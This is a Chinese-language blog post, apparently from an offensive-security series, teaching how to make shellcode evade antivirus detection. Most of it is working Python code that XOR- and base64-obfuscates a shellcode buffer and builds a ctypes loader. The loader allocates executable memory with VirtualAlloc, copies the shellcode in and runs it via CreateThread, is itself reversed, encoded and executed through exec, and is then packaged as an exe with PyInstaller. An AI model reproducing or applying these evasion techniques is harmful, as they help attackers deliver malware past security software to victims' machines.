【攻防技术系列】shellcode免杀

o-O-oO / 2024-07-18 / 原文

接上文 :【攻防技术系列】shellcode初识

二、shellcode简单免杀

2.1 什么是免杀?

免杀技术全称为反杀毒技术(Anti Anti- Virus)简称“免杀“。

它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,包含反汇编、逆向工程、系统漏洞等技术,所以难度很高。

2.2 杀软的分类

病毒查杀一般可以分为三种形式:静态查杀、行为查杀和云查杀:

静态查杀:一般根据特征码识别,然后对病毒进行特征库匹配

行为查杀:动态查杀,主要是对其产生的行为进行检测

云查杀:提取出文件的特征和上传云端,利用云端的大规模病毒库和分析引擎进行检测后返回给客户端,对对应的病毒进行查杀

2.3 如何免杀?

1)针对shellcode部分进行混淆

方式有很多,可以是各种编码加密等,本次是对shellcode buf进行base64编码,然后对每个字符进行异或运算:

# -*- coding: utf-8 -*-
import ctypes
import binascii
import base64

buf =  b""
buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"

# 1.将 shellcode 转换成base64编码
b64 = base64.b64encode(buf)
print(b64.decode())

# 2.遍历每个字符并进行疑惑运算(异或运算密钥:666)
source = ''
for c in b64:
    temp = c ^ 666
    source += str(temp) + "-"
print(source[0:-1])

运行后的格式如下:

解密程序是:


# -*- coding: utf-8 -*-
import base64
import ctypes

source = '693-735-753-693-713-731-722-734-713-729-756-733-713-723-706-680-766-760-712-728-693-689-766-707-763-765-728-704-713-761-764-729-674-726-717-755-716-748-693-716'

b64 = ''

list = source.split('-')
for n in list:
    temp = int(n) ^ 666
    b64 += chr(temp)

buf = base64.b64decode(b64)
print(buf)

2)针对加载器代码进行混淆

将原始加载器代码拼接到一起:

# 原始
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

# 拼接到一起
code = 'ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'

然后对整体进行倒序后再进行base64编码:

# 加载器的混淆
code = 'ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'

reverse_code = code[::-1] #字符串倒置
b64 = base64.b64encode(reverse_code.encode())
print(b64)

效果是:

3)将两部分混淆代码放到一起运行

最终运行流程如下:

对混淆后的加载器代码,进行base64解码后再倒置字符串得到原始加载器代码

利用python exec执行加载器代码部分,执行过程中加载器代码会加载shellcode代码

对混淆后的shellcode部分,遍历编码字符串并每个字符进行异或计算

进行base64解码得到原始shellcode

完整代码是:

# -*- coding: utf-8 -*-
import base64
import ctypes

source = '省略混淆后的shellcode代码...'

b64 = ''

# 遍历编码字符串并每个字符进行异或计算得到原始字符
list = source.split('-')
for n in list:
    temp = int(n) ^ 666
    b64 += chr(temp)

# 进行base64解码得到原始shellcode
buf = base64.b64decode(b64)
print(buf)

# 加载器解密
b64 = b'省略混淆后的加载器代码部分...'

# base64解码后,再倒置字符串得到原始加载器代码
code = base64.b64decode(b64)[::-1]
print(code)

# 利用python exec执行加载器代码部分,执行过程中加载器代码会加载shellcode代码
exec(code)

代码保存为 shellcode_enc.py 通过PyInstaller打包为exe可执行程序。

最后就是免杀效果测试。